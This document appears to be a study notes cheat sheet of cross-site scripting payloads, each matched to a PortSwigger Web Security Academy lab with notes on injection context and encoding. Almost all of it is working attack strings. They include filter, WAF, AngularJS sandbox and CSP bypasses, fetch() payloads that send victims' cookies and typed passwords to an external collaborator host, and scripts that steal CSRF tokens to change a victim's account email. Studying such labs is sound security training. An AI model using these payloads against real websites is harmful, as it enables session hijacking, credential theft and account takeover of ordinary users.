[Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
##### Reflected XSS β HTML context (no encoding)
```html
<script>alert(1);</script>
````
Context: Injected into raw HTML body
Encoding: None
Source: [[1. Reflected XSS into HTML context with nothing encoded]]
---
##### Stored XSS β Comment functionality
```html
<script>alert(1);</script>
```
Context: Stored in blog comment, rendered in HTML body
Encoding: URL-encoded in POST body
Source: [[2. Stored XSS into HTML context with nothing encoded]]
---
##### DOM XSS β document.write() context breakout
```js
'">');}<script>alert(1);</script>
```
Context: Injected via query param β `document.write()`
Encoding: Escapes HTML + JS context
Source: [[3. DOM XSS in document.write sink using source location.search]]
---
##### DOM XSS β innerHTML sink
```html
<img src=1 onerror=alert(1)>
```
Context: `location.search` injected into `innerHTML`
Encoding: None
Source: [[4. DOM XSS in innerHTML sink using source location.search]]
---
##### DOM XSS β javascript: URI via jQuery .attr()
```text
javascript:alert(document.cookie)
```
Context: `returnPath` parameter injected into `href` via jQuery
Encoding: URI scheme (javascript:)
Source: [[5. DOM XSS in jQuery anchor href attribute sink using location.search source]]
---
##### DOM XSS β jQuery Selector via location.hash
```html
<iframe
src="https://<target>/#<img src += '<img src=1 onerror=print()>'"
hidden="hidden">
</iframe>
````
Context: DOM XSS via jQuery `$()` selector using `:contains(...)` and `location.hash`
Encoding: HTML with malformed tag injection via URI fragment
Source: [[6. DOM XSS in jQuery selector sink using a hashchange event]]
----
##### Reflected XSS β Attribute context with angle brackets encoded
```html
" onfocus="alert(1)
````
Context: Reflected into HTML attribute `value="..."`
Encoding: `<`, `>` are HTML-encoded; quotes are not
Source: [[7. Reflected XSS into attribute with angle brackets HTML-encoded]]
---
##### Stored XSS β href attribute with double quotes HTML-encoded
```text
javascript:alert(1)
````
Context: Stored in comment field, rendered inside `href="..."`
Encoding: Double quotes (`"`) are HTML-encoded as `"`; URI is not filtered
Source: [[8. Stored XSS into anchor href attribute with double quotes HTML-encoded]]
----
##### Reflected XSS β JavaScript string with angle brackets HTML-encoded
```js
'-alert(1)-'
````
Context: Reflected inside JavaScript single-quoted string in inline `<script>`
Encoding: `<` and `>` are HTML-encoded (`<`, `>`), but quotes are not
Source: [[9. Reflected XSS into a JavaScript string with angle brackets HTML encoded]]
---
##### DOM XSS β document.write() inside
```js
"></select><img src=1 onerror=alert(1)>
```
Context: Injected via `storeId` param into `document.write()` inside a `<select>` block
Encoding: None
Source: [[10. DOM XSS in document.write sink using source location.search inside a select element]]
---
##### DOM XSS β AngularJS expression with HTML-encoded angle brackets
```html
{{$on.constructor('alert(1)')()}}
````
Context: Reflected inside `{{ ... }}` binding, evaluated by AngularJS
Encoding: Angle brackets (`<`, `>`) and double quotes (`"`) are HTML-encoded; curly braces are not
Source: [[11. DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded]]
---
##### DOM XSS β Reflected via eval() and poisoned JSON
```js
\"-alert(1)}//
````
Context: Reflected into a JSON API response, then parsed by `eval()`
Encoding: JS-escaped (`\"`), then interpreted as code via `eval()`
Source: [[12. Reflected DOM XSS]]
----
##### Stored DOM XSS β Broken escapeHTML() with .innerHTML sink
```html
<><img src=1 onerror=alert(1)>
````
Context: Stored comment body injected into `.innerHTML` via broken `escapeHTML()`
Encoding: Only first `<` is encoded; rest remains raw HTML
Source: [[13. Stored DOM XSS]]
---
##### Reflected XSS β HTML context with most tags and attributes blocked
```html
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload="this.style.width='100px'">
</iframe>
````
Context: Reflected into HTML context with WAF restrictions on tags/attributes
Encoding: Payload is URL-encoded in `search` parameter; iframe is placed in attacker-controlled page
Source: [[14. Reflected XSS into HTML context with most tags and attributes blocked]]
---
##### Reflected XSS β HTML context with all standard tags blocked (custom tag + fragment-based focus trigger)
```html
<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert(document.cookie)+tabindex%3D1%3E#x';
</script>
````
Context: Reflected into HTML body, all standard tags (e.g. `<script>`, `<img>`) filtered; only custom tags and global attributes allowed
Encoding: URL-encoded injection via `search` param; fragment `#x` triggers browser focus
Source: [[15. Reflected XSS into HTML context with all tags blocked except custom ones]]
----
##### Reflected XSS β with some SVG markup allowed
```html
<svg><animatetransform onbegin=alert(1)>
````
Context: Reflected into HTML context with strict filtering on standard tags and attributes; only specific SVG elements/events allowed
Encoding: Angle brackets allowed or injected via URL encoding
Source: [[16. Reflected XSS with some SVG markup allowed]]
---
##### Reflected XSS β attribute injection in <link rel="canonical"> (Chrome-specific)
```text
?'accesskey='x'onclick='alert(1)
````
Context: Reflected into `href` attribute of `<link rel="canonical">` tag
Encoding: Angle brackets (`<`, `>`) are HTML-encoded; quotes are not
Source: [[17. Reflected XSS in canonical link tag]]
---
##### Reflected XSS β JavaScript string with escaped single quotes and backslashes
```html
</script><script>alert(1)</script>
````
Context: Reflected into JS string enclosed in single quotes: `'...user input...'`
Encoding: `'` β `\'`, `\` β `\\` (escaped by server); HTML not encoded
Source: [[18. Reflected XSS into a JavaScript string with single quote and backslash escaped]]
---
##### Reflected XSS β JS string with angle brackets and double quotes HTML-encoded, single quote escaped
```js
\'-alert(1)//
````
Context: Reflected into JS string enclosed in single quotes (`'...'`), inside a `<script>` block
Encoding:
- `'` β escaped as `\'`
- `<`, `>` β HTML-encoded (`<`, `>`)
- `"` β HTML-encoded (`"`)
- `\` β **not escaped** (used as escape vector)
Source: [[19. Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped]]
----
##### Stored XSS β onclick attribute with HTML-encoded `<`, `"`, and escaped `'`, `\`
```text
http://foo?'-alert(1)-'
````
Context: Stored in `href` attribute, then reflected inside `onclick="...tracker.track('...')..."`
Encoding:
- `<`, `>` β `<`, `>`
- `"` β `"`
- `'` β escaped as `\'`
- `\` β escaped as `\\`
- But `'` (HTML entity) β **decoded to `'` at runtime**
Source: [[20. Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped]]
----
##### Reflected DOM XSS β JavaScript template literal with expression injection
```js
${alert(1)}
````
Context: User input is reflected into a JavaScript **template literal**
Encoding / Escaping:
- `<`, `>` β HTML-encoded (`<`, `>`)
- `'`, `"` β HTML-encoded
- `` ` `` β escaped as Unicode `\u0060`
- `\` β escaped
- `${...}` β β **not escaped**
Source: [[21. Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped]]
---
##### Stored XSS β Stealing cookies via fetch() and Burp Collaborator
```html
<script>
fetch('https://yoursubdomain.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
````
Context: Stored XSS inside blog comment field; executed automatically when other users load the page
Encoding: None β raw HTML/JS allowed
Source: [[22. Exploiting cross-site scripting to steal cookies]]
---
##### Stored XSS β Capturing usernames and passwords via `<input>`+ onchange + fetch()
```html
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://your-subdomain.burpcollaborator.net',{
method:'POST',
mode:'no-cors',
body: username.value + ':' + this.value
});">
````
Context: Stored XSS in blog comments; attacker can inject arbitrary HTML and JS into rendered `<p>` element
Encoding: None β raw injection of `<input>`, attributes, and inline JS allowed
Source: [[23. Exploiting cross-site scripting to capture passwords]]
----
##### Stored XSS β Bypassing CSRF using in-context token extraction
```html
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get', '/my-account', true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
changeReq.send('csrf=' + token + '&
[email protected]');
}
</script>
````
Context: Stored XSS in blog comment field; attacker executes JS in victimβs browser to steal and reuse CSRF token
Encoding: No encoding required; raw JavaScript injected into page
Source: [[24. Exploiting XSS to bypass CSRF defenses]]
##### Reflected XSS β AngularJS Sandbox Escape (No Strings / No `$eval`)
```js
/* INJECTED INTO PARAMETER NAME, NOT VALUE */
/* URL: /?search=1&<PAYLOAD>=1 */
toString().constructor.prototype.charAt=[].join;
[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
```
Context: Reflected XSS in AngularJS template; Sandbox active; string literals and $eval blocked. Uses fromCharCode to build strings and overwrites charAt to break sandbox inspection.
Encoding: Inner = characters must be URL-encoded (%3d). The final = remains raw to separate param name/value.
Source: [[25. Reflected XSS with AngularJS sandbox escape without strings]]
---
##### Reflected XSS β AngularJS Sandbox Escape + CSP Bypass
```html
<script>
location='https://target.com/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
```
Context: Reflected XSS; CSP blocks inline scripts/events. Uses Angular ng-focus + location hash #x to trigger execution. Bypasses sandbox using $event.composedPath() (Chrome) to access window context indirectly.
Encoding: Standard URL encoding for the injection.
Source: [[26. Reflected XSS with AngularJS sandbox escape and CSP]]
---
##### Reflected XSS β WAF Bypass via Exception Handling
```js
/* Injected into: javascript:fetch(...).finally(_ => window.location = '/') */
'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+''{x:'
```
Context: Reflected inside a JS string; WAF blocks parentheses (), spaces, and standard function calls. Uses throw to pass arguments to onerror=alert and overrides toString to trigger execution via string coercion.
Encoding: URL encoding required. Spaces replaced with /**/.
Source: [[27. Reflected XSS with event handlers and href attributes blocked]]
---
##### Reflected XSS β Bypassing blocked events/href via SVG `<animate>`
```xml
<svg>
<a>
<animate attributeName="href" values="javascript:alert(1)" />
<text x="20" y="20">Click me</text>
</a>
</svg>
```
Context: Whitelist allows `<svg>` but blocks all on* events and href attributes in markup. Uses `<animate>` to set the href attribute at runtime, which bypasses the sanitizer.
Encoding: Standard URL encoding.
Source: [[28. Reflected XSS in a JavaScript URL with some characters blocked]]
---
#### Reflected XSS β CSP Bypass via Dangling Markup (Stealing CSRF)
```
<button formaction="https://exploit-server.net/capture" formmethod="get">Click me</button>
if (token) {
// Auto-submit change-email form with captured token
} else {
// Redirect victim back to vulnerable page with Injection 1
}
```
Context: Strict CSP blocks script execution but allows form-action (or lacks it). Injects a button that hijacks the form submission to send the CSRF token to the attacker's server.
Encoding: HTML injection.
Source: [[29. Reflected XSS protected by very strict CSP, with dangling markup attack]]
---
##### Reflected XSS β CSP Bypass via Header Injection
```http
GET /?search=<script>alert(1)</script>&token=;script-src-elem+'unsafe-inline' HTTP/1.1
```
Context: token parameter is reflected directly into the Content-Security-Policy header. Attacker injects a stronger directive (script-src-elem) to overwrite the existing policy and enable inline scripts.
Encoding: URL encode spaces and quotes in the token parameter.
Source: [[30. Reflected XSS protected by CSP, with CSP bypass]]